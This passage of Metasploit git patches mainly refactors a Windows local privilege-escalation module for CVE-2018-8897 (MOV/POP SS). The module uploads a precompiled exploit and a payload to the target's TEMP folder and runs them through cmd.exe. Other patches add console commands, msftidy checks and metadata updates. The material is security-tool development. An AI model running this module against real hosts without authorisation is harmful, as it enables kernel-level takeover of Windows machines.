#{datastore['SESSION']}") - rescue => e - print_error("Could not connect to session: #{e}") - return nil - end - - # Generate the exe payload - vprint_status("Generating EXE payload (#{payload_name})") - payload_exe = generate_payload_exe - # Writes script to target host and returns the pathname of the target file or nil if the - # file could not be written. - temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') - payload_path = temppath + "\\" + payload_name - exploit_path = temppath + "\\" + exploit_name - - unless directory?(temppath) - print_error("#{temppath} does not exists on the target") - return nil - end - - if file?(exploit_path) - print_warning("#{payload_path} already exists on the target. Deleting...") - begin - file_rm(filepath) - print_good("Deleted #{filepath}") - rescue - print_error("Unable to delete file!") - return nil - end - end - - # UPLOAD EXPLOIT - begin - #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe - local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') - print_status(local_exploit_path) - upload_file(exploit_path, local_exploit_path) - print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") - - # Escape windows pathname separators. - #@clean_up_rc << "rm #{exploit_path.gsub(/\\/, '//')}\n" - rescue => exception - vprint_status(exception.backtrace) - print_error("Could not write the exploit on the target") - end - # UPLOAD PAYLOAD - begin - #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe - print_status(payload_path) - write_file(payload_path, payload_exe) - print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") - - # Escape windows pathname separators. - #@clean_up_rc << "rm #{payload_path.gsub(/\\/, '//')}\n" - rescue => exception - vprint_status(exception.backtrace) - print_error("Could not write the payload on the target") - end - # EXECUTE EXPLOIT - sleep(3) - begin - print_status("Running exploit #{exploit_path} with payload #{payload_path}") - output = cmd_exec("cmd.exe", "/c #{exploit_path} #{payload_path}") - vprint_status(output) - rescue - print_error("Failed to execute payload on target") - execsuccess = false + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + raise Msf::Exploit::Failed, 'Could not connect to session' end end + + def validate_remote_path(path) + unless directory?(path) + fail_with(Msf::Exploit::Failure::Unreachable, "#{path} does not exist on the target") + end + end + + def validate_target + if sysinfo['OS'] =~ /XP/ + fail_with(Msf::Exploit::Failure::Unknown, 'The exploit binary does not support Windows XP') + end + end + + def ensure_clean_destination(path) + if file?(path) + print_status("#{path} already exists on the target. Deleting...") + begin + file_rm(path) + print_status("Deleted #{path}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error("Unable to delete #{path}") + end + end + end + + def ensure_clean_exploit_destination + ensure_clean_destination(exploit_path) + end + + def ensure_clean_payload_destination + ensure_clean_destination(payload_path) + end + + def upload_exploit + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') + upload_file(exploit_path, local_exploit_path) + print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") + end + + def upload_payload + write_file(payload_path, payload_exe) + print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") + end + + def execute_exploit + sleep(datastore['EXECUTE_DELAY']) + print_status("Running exploit #{exploit_path} with payload #{payload_path}") + output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") + vprint_status(output) + end + + def exploit + begin + validate_active_host + validate_target + validate_remote_path(temp_path) + ensure_clean_exploit_destination + ensure_clean_payload_destination + upload_exploit + upload_payload + execute_exploit + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error(e.message) + end + end + + attr_reader :exploit_name + attr_reader :payload_name + attr_reader :payload_exe + attr_reader :temp_path + attr_reader :payload_path + attr_reader :exploit_path end From 9ba0a72ea156a9623fd7ec5e8397124ba7cb258d Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 13 Jul 2018 01:11:37 -0500 Subject: [PATCH 161/217] Rename file --- .../exploits/windows/local/{cve_2018_8897_exe.rb => mov_ss.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/local/{cve_2018_8897_exe.rb => mov_ss.rb} (100%) diff --git a/modules/exploits/windows/local/cve_2018_8897_exe.rb b/modules/exploits/windows/local/mov_ss.rb similarity index 100% rename from modules/exploits/windows/local/cve_2018_8897_exe.rb rename to modules/exploits/windows/local/mov_ss.rb From d7a0d7ecf3317462ea68a4c813e267e063cecc8e Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 13 Jul 2018 01:17:28 -0500 Subject: [PATCH 162/217] Add some documentation for mov_ss.md --- documentation/modules/exploit/windows/local/mov_ss.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 documentation/modules/exploit/windows/local/mov_ss.md diff --git a/documentation/modules/exploit/windows/local/mov_ss.md b/documentation/modules/exploit/windows/local/mov_ss.md new file mode 100644 index 0000000000..de273af1c1 --- /dev/null +++ b/documentation/modules/exploit/windows/local/mov_ss.md @@ -0,0 +1,10 @@ +# Description + +This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows +(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed +by the final payload (such as a Meterpreter) in order to gain remote code execution. + +# Vulnerable Target + +Please note that this module may not work with certain hypervisors (such as VMWare). You should +test it on a real machine if possible. \ No newline at end of file From 3cec9026aeacea7d077591d5180488570e061570 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 13 Jul 2018 05:21:38 -0500 Subject: [PATCH 163/217] Add janky console command to display framework.log Works best with alternate screen enabled... --- .../ui/console/command_dispatcher/modules.rb | 45 ++++++++++++++++--- 1 file changed, 39 insertions(+), 6 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 7f82cd94c8..9d817f97b9 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -27,7 +27,6 @@ module Msf def commands { "back" => "Move back from the current context", - "edit" => "Edit the current module or a file with the preferred editor", "advanced" => "Displays advanced options for one or more modules", "info" => "Displays information about one or more modules", "options" => "Displays global options or for one or more modules", @@ -40,6 +39,8 @@ module Msf "show" => "Displays modules of a given type, or all modules", "use" => "Selects a module by name", "reload_lib" => "Reload one or more library files from specified paths", + "edit" => "Edit the current module or a file with the preferred editor", + "log" => "Displays framework.log starting at the bottom if possible", } end @@ -66,6 +67,10 @@ module Msf framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') end + def local_pager + framework.datastore['LocalPager'] || Rex::Compat.getenv('PAGER') || Rex::Compat.getenv('MANPAGER') + end + # XXX: This will try to reload *any* .rb and break on modules def reload_file(path) unless File.exist?(path) && path.end_with?('.rb') @@ -87,6 +92,7 @@ module Msf print_line 'Usage: reload_lib [lib/to/load.rb]...' print_line print_line 'Reload one or more library files from specified paths.' + print_line end # @@ -106,10 +112,10 @@ module Msf end def cmd_edit_help - print_line "Usage: edit [file/to/edit.rb]" + print_line 'Usage: edit [file/to/edit.rb]' print_line print_line "Edit the currently active module or a local file with #{local_editor}." - print_line "If a file path is specified, it will automatically be reloaded after editing." + print_line 'If a file path is specified, it will automatically be reloaded after editing.' print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'." print_line end @@ -121,20 +127,20 @@ module Msf editing_module = false if args.length > 0 - path = args[0] + path = File.expand_path(args[0]) elsif active_module editing_module = true path = active_module.file_path end - if path.nil? + unless path print_error('Nothing to edit. Try using a module first or specifying a library file to edit.') return end editor = local_editor - if editor.nil? + unless editor editor = 'vim' print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") end @@ -154,6 +160,33 @@ module Msf tab_complete_filenames(str, words) end + def cmd_log_help + print_line 'Usage: log' + print_line + print_line 'Displays framework.log starting at the bottom if possible.' + print_line "For full effect, 'setg LogLevel 3' before running modules." + print_line + print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}" + print_line + end + + # + # Displays framework.log starting at the bottom if possible + # + def cmd_log(*args) + path = File.join(Msf::Config.log_directory, 'framework.log') + + # XXX: +G isn't portable and may hang on large files + pager = local_pager.to_s.include?('less') ? "#{local_pager} +G" : local_pager + + unless pager + pager = 'tail -n 24' + print_warning("LocalPager or $PAGER/$MANPAGER should be set. Falling back on #{pager}.") + end + + system(*pager.split, path) + end + def cmd_advanced_help print_line 'Usage: advanced [mod1 mod2 ...]' print_line From 4fa2a4775d7e3af40351757432384d43137ea240 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 13 Jul 2018 09:27:41 -0500 Subject: [PATCH 164/217] Update the target check and added cleanup --- modules/exploits/windows/local/mov_ss.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/mov_ss.rb b/modules/exploits/windows/local/mov_ss.rb index 2bb8051d49..3b4b0516c5 100644 --- a/modules/exploits/windows/local/mov_ss.rb +++ b/modules/exploits/windows/local/mov_ss.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ - [ 'Windows', {} ] + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', @@ -100,6 +100,9 @@ class MetasploitModule < Msf::Exploit::Local end def validate_target + if sysinfo['Architecture'] == ARCH_X86 + fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') + end if sysinfo['OS'] =~ /XP/ fail_with(Msf::Exploit::Failure::Unknown, 'The exploit binary does not support Windows XP') end @@ -157,6 +160,8 @@ class MetasploitModule < Msf::Exploit::Local rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) + ensure_clean_exploit_destination + ensure_clean_payload_destination end end From f33d12676f4ec9e81939c77e5377bdcd2b42c6fb Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 13 Jul 2018 10:19:41 -0500 Subject: [PATCH 165/217] Added License, make msftidy happy, and include original cve project readme document. --- .../source/exploits/cve-2018-8897-exe/LICENSE | 29 +++++++++++++++++++ .../exploits/cve-2018-8897-exe/README.md | 12 ++++++++ modules/exploits/windows/local/mov_ss.rb | 4 +-- 3 files changed, 43 insertions(+), 2 deletions(-) create mode 100644 external/source/exploits/cve-2018-8897-exe/LICENSE create mode 100644 external/source/exploits/cve-2018-8897-exe/README.md diff --git a/external/source/exploits/cve-2018-8897-exe/LICENSE b/external/source/exploits/cve-2018-8897-exe/LICENSE new file mode 100644 index 0000000000..e550541540 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2018, Can Bölük +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/exploits/cve-2018-8897-exe/README.md b/external/source/exploits/cve-2018-8897-exe/README.md new file mode 100644 index 0000000000..885a698532 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/README.md @@ -0,0 +1,12 @@ +# CVE-2018-8897 +Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages. +- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled. +- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. + +## Detailed explanation: + +https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/ + +## Result: +![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png) +![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png) diff --git a/modules/exploits/windows/local/mov_ss.rb b/modules/exploits/windows/local/mov_ss.rb index 3b4b0516c5..78570c6e74 100644 --- a/modules/exploits/windows/local/mov_ss.rb +++ b/modules/exploits/windows/local/mov_ss.rb @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local def validate_remote_path(path) unless directory?(path) - fail_with(Msf::Exploit::Failure::Unreachable, "#{path} does not exist on the target") + fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end @@ -104,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ - fail_with(Msf::Exploit::Failure::Unknown, 'The exploit binary does not support Windows XP') + fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end From f2884d568ec664ec48e75a446013f52b7503e9d6 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 13 Jul 2018 09:04:30 -0700 Subject: [PATCH 166/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 4fa7150529..6a1537768c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -74880,6 +74880,39 @@ "is_install_path": true, "ref_name": "windows/local/lenovo_systemupdate" }, + "exploit_windows/local/mov_ss": { + "name": "Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability", + "full_name": "exploit/windows/local/mov_ss", + "rank": 600, + "disclosure_date": "2018-05-08", + "type": "exploit", + "author": [ + "Nick Peterson", + "Nemanja Mulasmajic", + "Can Bölük ", + "bwatters-r7" + ], + "description": "This module exploits a vulnerability in a statement in the system programming guide\n of the Intel 64 and IA-32 architectures software developer's manual being mishandled\n in various operating system kerneles, resulting in unexpected behavior for #DB\n excpetions that are deferred by MOV SS or POP SS.\n\n This module will upload the pre-compiled exploit and use it to execute the final\n payload in order to gain remote code execution.", + "references": [ + "CVE-2018-8897", + "EDB-44697", + "BID-104071", + "URL-https://github.com/can1357/CVE-2018-8897/", + "URL-https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/" + ], + "is_server": true, + "is_client": false, + "platform": "Windows", + "arch": "", + "rport": "", + "targets": [ + "Windows x64" + ], + "mod_time": "2018-07-13 10:19:41 +0000", + "path": "/modules/exploits/windows/local/mov_ss.rb", + "is_install_path": true, + "ref_name": "windows/local/mov_ss" + }, "exploit_windows/local/mqac_write": { "name": "MQAC.sys Arbitrary Write Privilege Escalation", "full_name": "exploit/windows/local/mqac_write", From 4e72dff791afdf748dbf030cc78f6b52eba5247c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 14 Jul 2018 05:03:13 +1000 Subject: [PATCH 167/217] Update module references --- modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb index 1d593ef057..fef4af809a 100644 --- a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb +++ b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb @@ -38,7 +38,10 @@ class MetasploitModule < Msf::Exploit::Remote [ ['CVE', '2018-0706'], # privesc ['CVE', '2018-0707'], # rce + ['EDB', '45015'], + ['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'], + ['URL', 'https://www.securityfocus.com/archive/1/542141/'], ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10'] ], 'Platform' => 'linux', From b8bdceccb8792780197bbb6b0c223465f12e0def Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 13 Jul 2018 14:19:00 -0500 Subject: [PATCH 168/217] Add missing CVE check to msftidy --- tools/dev/msftidy.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index e89e38b31a..7ec7253d12 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -140,8 +140,9 @@ class Msftidy end def check_ref_identifiers - in_super = false - in_refs = false + in_super = false + in_refs = false + cve_assigned = false @lines.each do |line| if !in_super and line =~ /\s+super\(/ @@ -161,6 +162,7 @@ class Msftidy case identifier when 'CVE' + cve_assigned = true warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4,}$/ when 'BID' warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ @@ -197,6 +199,9 @@ class Msftidy end end end + + # This helps us track when CVEs aren't assigned + warn('No CVE references found. Please check before you land!') unless cve_assigned end def check_self_class From d355f51969ce71e9a5fda079124e3e12ccb3dd3b Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 13 Jul 2018 14:55:17 -0500 Subject: [PATCH 169/217] Switch warn to info Nothing to warn about, just something to note and check. --- tools/dev/msftidy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 7ec7253d12..b4e64e35db 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -201,7 +201,7 @@ class Msftidy end # This helps us track when CVEs aren't assigned - warn('No CVE references found. Please check before you land!') unless cve_assigned + info('No CVE references found. Please check before you land!') unless cve_assigned end def check_self_class From bf53896aa7530d57fd32e1eba3e17c4716d0a29a Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 14 Jul 2018 06:24:04 +1000 Subject: [PATCH 170/217] Rex::Compat.getenv --- lib/msf/base/serializer/readable_text.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 8bb6bdb05a..daef566ce2 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -501,7 +501,7 @@ class ReadableText output << "References:\n" mod.references.each do |ref| - if ENV['FUEL_THE_HYPE_MACHINE'] && %w{LOGO SOUNDTRACK}.include?(ref.ctx_id) + if Rex::Compat.getenv('FUEL_THE_HYPE_MACHINE') && %w[LOGO SOUNDTRACK].include?(ref.ctx_id) Rex::Compat.open_browser(ref.ctx_val) end output << indent + ref.to_s + "\n" From 2c9d85606ceed7be0cb1134ec91bbd7974100a9d Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 13 Jul 2018 16:14:22 -0500 Subject: [PATCH 171/217] Refactor and add error messages --- .../ui/console/command_dispatcher/modules.rb | 75 +++++++++++-------- 1 file changed, 45 insertions(+), 30 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 9d817f97b9..777430ffc0 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -38,8 +38,8 @@ module Msf "search" => "Searches module names and descriptions", "show" => "Displays modules of a given type, or all modules", "use" => "Selects a module by name", - "reload_lib" => "Reload one or more library files from specified paths", "edit" => "Edit the current module or a file with the preferred editor", + "reload_lib" => "Reload one or more library files from specified paths", "log" => "Displays framework.log starting at the bottom if possible", } end @@ -88,40 +88,17 @@ module Msf load path end - def cmd_reload_lib_help - print_line 'Usage: reload_lib [lib/to/load.rb]...' - print_line - print_line 'Reload one or more library files from specified paths.' - print_line - end - - # - # Reload one or more library files from specified paths - # - def cmd_reload_lib(*args) - if args.empty? || args.include?('-h') || args.include?('--help') - cmd_reload_lib_help - return - end - - args.each { |path| reload_file(path) } - end - - def cmd_reload_lib_tabs(str, words) - tab_complete_filenames(str, words) - end - def cmd_edit_help - print_line 'Usage: edit [file/to/edit.rb]' + print_line 'Usage: edit [file/to/edit]' print_line print_line "Edit the currently active module or a local file with #{local_editor}." - print_line 'If a file path is specified, it will automatically be reloaded after editing.' + print_line 'If a library file is specified, it will automatically be reloaded after editing.' print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'." print_line end # - # Edit the currently active module or a local file + # Edit the current module or a file with the preferred editor # def cmd_edit(*args) editing_module = false @@ -145,8 +122,14 @@ module Msf print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") end - print_status("Launching #{editor} #{path}") - system(*editor.split, path) + # XXX: No vprint_status in this context? + # XXX: VERBOSE is a string instead of Bool?? + print_status("Launching #{editor} #{path}") if framework.datastore['VERBOSE'].to_s == 'true' + + unless system(*editor.split, path) + print_error("Could not execute #{editor} #{path}") + return + end return if editing_module @@ -160,6 +143,32 @@ module Msf tab_complete_filenames(str, words) end + def cmd_reload_lib_help + print_line 'Usage: reload_lib lib/to/reload.rb [...]' + print_line + print_line 'Reload one or more library files from specified paths.' + print_line + end + + # + # Reload one or more library files from specified paths + # + def cmd_reload_lib(*args) + if args.empty? || args.include?('-h') || args.include?('--help') + cmd_reload_lib_help + return + end + + args.each { |path| reload_file(path) } + end + + # + # Tab completion for the reload_lib command + # + def cmd_reload_lib_tabs(str, words) + tab_complete_filenames(str, words) + end + def cmd_log_help print_line 'Usage: log' print_line @@ -184,7 +193,13 @@ module Msf print_warning("LocalPager or $PAGER/$MANPAGER should be set. Falling back on #{pager}.") end - system(*pager.split, path) + # XXX: No vprint_status in this context? + # XXX: VERBOSE is a string instead of Bool?? + print_status("Launching #{pager} #{path}") if framework.datastore['VERBOSE'].to_s == 'true' + + unless system(*pager.split, path) + print_error("Could not execute #{pager} #{path}") + end end def cmd_advanced_help From 7a0aed2cff57c88fc024f39a74cab306d047c2b1 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 13 Jul 2018 15:28:01 -0700 Subject: [PATCH 172/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 12114 +++++++++++--------------------- 1 file changed, 4195 insertions(+), 7919 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 6a1537768c..e8e68723f1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -3,7 +3,7 @@ "name": "2Wire Cross-Site Request Forgery Password Reset Vulnerability", "full_name": "auxiliary/admin/2wire/xslt_password_reset", "rank": 300, - "disclosure_date": "2007-08-15 00:00:00 -0500", + "disclosure_date": "2007-08-15", "type": "auxiliary", "author": [ "hkm ", @@ -21,9 +21,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/2wire/xslt_password_reset.rb", "is_install_path": true, @@ -51,9 +49,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb", "is_install_path": true, @@ -78,9 +74,7 @@ "platform": "", "arch": "", "rport": "7000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/appletv/appletv_display_image.rb", "is_install_path": true, @@ -105,9 +99,7 @@ "platform": "", "arch": "", "rport": "7000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/appletv/appletv_display_video.rb", "is_install_path": true, @@ -137,9 +129,7 @@ "platform": "", "arch": "", "rport": "10001", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/atg/atg_client.rb", "is_install_path": true, @@ -164,9 +154,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/aws/aws_launch_instances.rb", "is_install_path": true, @@ -194,9 +182,7 @@ "platform": "", "arch": "", "rport": "10000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/backupexec/dump.rb", "is_install_path": true, @@ -222,9 +208,7 @@ "platform": "", "arch": "", "rport": "6106", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/backupexec/registry.rb", "is_install_path": true, @@ -248,9 +232,7 @@ "platform": "", "arch": "", "rport": "8008", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/chromecast/chromecast_reset.rb", "is_install_path": true, @@ -274,9 +256,7 @@ "platform": "", "arch": "", "rport": "8008", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/chromecast/chromecast_youtube.rb", "is_install_path": true, @@ -309,9 +289,7 @@ "platform": "", "arch": "", "rport": "161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb", "is_install_path": true, @@ -337,9 +315,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb", "is_install_path": true, @@ -349,7 +325,7 @@ "name": "Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access", "full_name": "auxiliary/admin/cisco/vpn_3000_ftp_bypass", "rank": 300, - "disclosure_date": "2006-08-23 00:00:00 -0500", + "disclosure_date": "2006-08-23", "type": "auxiliary", "author": [ "aushack " @@ -366,9 +342,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb", "is_install_path": true, @@ -378,7 +352,7 @@ "name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability", "full_name": "auxiliary/admin/db2/db2rcmd", "rank": 300, - "disclosure_date": "2004-03-04 00:00:00 -0600", + "disclosure_date": "2004-03-04", "type": "auxiliary", "author": [ "MC " @@ -394,9 +368,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/db2/db2rcmd.rb", "is_install_path": true, @@ -424,9 +396,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/dns/dyn_dns_update.rb", "is_install_path": true, @@ -443,6 +413,7 @@ ], "description": "This module is able to predict the next session cookie value issued\n by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run\n this module, wait until the real administrator logs in, then specify the\n predicted cookie value to hijack their session.", "references": [ + "CVE-2009-4655", "OSVDB-60035" ], "is_server": false, @@ -450,9 +421,7 @@ "platform": "", "arch": "", "rport": "8030", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-08 19:00:11 +0000", "path": "/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb", "is_install_path": true, @@ -480,9 +449,7 @@ "platform": "", "arch": "", "rport": "8028", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb", "is_install_path": true, @@ -492,7 +459,7 @@ "name": "EMC AlphaStor Device Manager Arbitrary Command Execution", "full_name": "auxiliary/admin/emc/alphastor_devicemanager_exec", "rank": 300, - "disclosure_date": "2008-05-27 00:00:00 -0500", + "disclosure_date": "2008-05-27", "type": "auxiliary", "author": [ "MC " @@ -509,9 +476,7 @@ "platform": "", "arch": "", "rport": "3000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb", "is_install_path": true, @@ -521,7 +486,7 @@ "name": "EMC AlphaStor Library Manager Arbitrary Command Execution", "full_name": "auxiliary/admin/emc/alphastor_librarymanager_exec", "rank": 300, - "disclosure_date": "2008-05-27 00:00:00 -0500", + "disclosure_date": "2008-05-27", "type": "auxiliary", "author": [ "MC " @@ -538,9 +503,7 @@ "platform": "", "arch": "", "rport": "3500", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb", "is_install_path": true, @@ -565,9 +528,7 @@ "platform": "", "arch": "", 